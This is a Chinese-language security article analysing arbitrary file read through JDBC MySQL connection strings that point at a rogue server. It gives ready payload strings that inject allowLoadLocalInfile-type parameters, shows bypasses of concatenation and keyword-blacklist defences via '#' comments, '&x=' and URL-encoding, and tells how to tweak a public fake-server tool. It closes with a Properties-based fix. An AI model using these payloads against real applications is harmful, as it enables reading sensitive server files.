JDBC MySQL任意文件读取分析

JDBC MySQL任意文件读取分析

文章首发于知识星球-赛博回忆录。给主管打个广告,嘿嘿。
在渗透测试中,有些发起mysql测试流程(或者说mysql探针)的地方,可能会存在漏洞。在连接测试的时候通过添加allowLoadLocalInfileInPath,allowLoadLocalInfile,allowUrlInLocalInfile与伪造的服务器进行通信,造成任意文件读取。

完整payload:
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360

以下是可以利用该漏洞的一些场景
JDBC MySQL任意文件读取分析_第1张图片JDBC MySQL任意文件读取分析_第2张图片JDBC MySQL任意文件读取分析_第3张图片

一、端之间数据交互流程

简述一下客户端(被攻击端)与伪造mysql服务器的通信流程。通过wireshark进行抓包读取。

1.问候MySQL客户端
2.等待查询包(03)
3.回答本地数据文件请求tcp option(01 01 08 0a 58 77 5b a8 e9 1f b7 2d
)。前三个字节是数据包的大小(0b 00 00)。接下来的1个字节是数据包编号(01)。下一个字节是数据包类型(fb),然后是文件名(2f 65 74 63 2f 70 61 73 77 64 /etc/hosts)。

主要是数据包的类型字段fb,要求连接的主机将本地文件进行发送。
这两张图展示的是第三个数据包的各个字段。
JDBC MySQL任意文件读取分析_第4张图片

https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html

在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。

java端类的初始化变量

com.mysql.jdbc.NonRegisteringDriver#connect主要进行赋值的工作,根据url的内容解析为properties,并对connection这个基类进行赋值,进行初始化的工作。
JDBC MySQL任意文件读取分析_第5张图片

二、连接参数设置

很多文章仅仅提到了两个可利用的参数。allowLoadLocalInfileInPath这个参数在8.0.22版本之后也是可以利用的。

文件读取的参数
allowLoadLocalInfileInPath=/ 设置读的目录为根目录,这样所有的目录文件都可以读取
allowLoadLocalInfile=true
allowUrlInLocalInfile=true 这两个参数类似

设置包大小参数
maxAllowedPacket=655360
在这里插入图片描述

参考:

https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-security.html

三、8.0.x和5.1.x版本的一些差异

通过这些差异我们能对后续参数的覆盖以及绕过黑名单的检测。

1、注释符差异

如果对jdbc的连接是对参数进行拼接,可以用注释符进行绕过或者多添加一个参数进行对参数值的覆盖,从而绕过该修复方案。

static String driverName = “com.mysql.cj.jdbc.Drive”;
@Test
public void getConnection1(HttpServletRequest request, HttpServletResponse response) {
try {
// 1、加载驱动
Class.forName(driverName);
// 2、获取connection
String jdbcUrl = request.getParameter(“jdbcUrl”);
Connection conn = DriverManager.getConnection(jdbcUrl + “&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false”);
System.out.println(conn);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
8.0.x
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#

8.0.x是可以使用注释符#来注释掉后面的内容。

8版本在解析connectionString的时候,最后一步query会根据正则匹配将#后面的注释部分去掉。
JDBC MySQL任意文件读取分析_第6张图片

这样一来可以注释掉之后拼接的内容,覆盖后面想要赋值的变量。

完整的传入test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false进行对allowLoadLocalInfile,allowUrlInLocalInfile参数值的覆盖。

5.1.x
5.1.x 不可以使用注释符#来注释掉后面的内容,但是可以使用&x=来拼接后面的内容,比如下图这样就可以使用拼接来绕过。

test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&x=
JDBC MySQL任意文件读取分析_第7张图片

2、参数名和参数值解析差异

这个方式主要是为了绕过对黑名单的检测,如果在传入payload的时候对这两个值进行校验。

如果黑名单检测的代码是这样写的,很有可能会存在绕过的问题。

public static boolean isValidUrl(String url){
if(url.contains(“allowLoadLocalInfile”)||url.contains(“allowUrlInLocalInfile”)||url.contains(“allowLoadLocalInfileInPath”)){
return false;
}
}

8.0.x

8.0.x是可以使用url编码的方式来对参数名和参数值进行编码。

jdbc:mysql://127.0.0.1:33060/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfil%65=%74%72%75%65# 。allowUrlInLocalInfile,maxAllowedPacket这些字段都是可以url编码绕过的。

所以从原则上来讲用黑名单来过滤必须要先解码再进行匹配,不然可能会造成黑名单绕过的问题。

5.1.x
仅仅参数值可以被编码。

jdbc:mysql://10.188.141.222:33067/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfile=%74%72%75%65
在properties中可以进行url编码,绕过对true的赋值。

所以5版本无法绕过对黑名单机制的检测。

四、关于fakeserver脚本的一些问题

推荐使用https://github.com/fnmsd/MySQL_Fake_Server来搭建恶意的mysql服务器。

有些连接的参数发出来是utf8mb4会遇到下面的报错:
JDBC MySQL任意文件读取分析_第8张图片

通过抓取wireshark的流量,发现utf8的编码发出包的charset flag是21:
JDBC MySQL任意文件读取分析_第9张图片

而utf8mb4发出来的编码集是45
JDBC MySQL任意文件读取分析_第10张图片

所以上面报错的信息会显示不支持,是因为字符集没有被定义:

在flags.py添加一行定义即可。
JDBC MySQL任意文件读取分析_第11张图片

五、修复方案

原生的场景下可以使用预先定义的Properties将URL中的属性覆盖掉,就可以关闭本地文件读取以及URL读取了。

String driver = “com.mysql.jdbc.Driver”;
String DB_URL = “jdbc:mysql://127.0.0.1:3306/test?user=test&maxAllowedPacket=655360&allowLoadLocalInfile=true”;
Class.forName(driver);
Properties properties = new Properties();
properties.setProperty(“allowLoadLocalInfile”,“false”);
properties.setProperty(“allowUrlInLocalInfile”,“false”);
properties.setProperty(“allowLoadLocalInfileInPath”,“”);
Connection conn = DriverManager.getConnection(DB_URL,properties);

六、参考链接

https://paper.seebug.org/1112/

你可能感兴趣的:(mysql,android,数据库,servlet,hive,hadoop,数据仓库)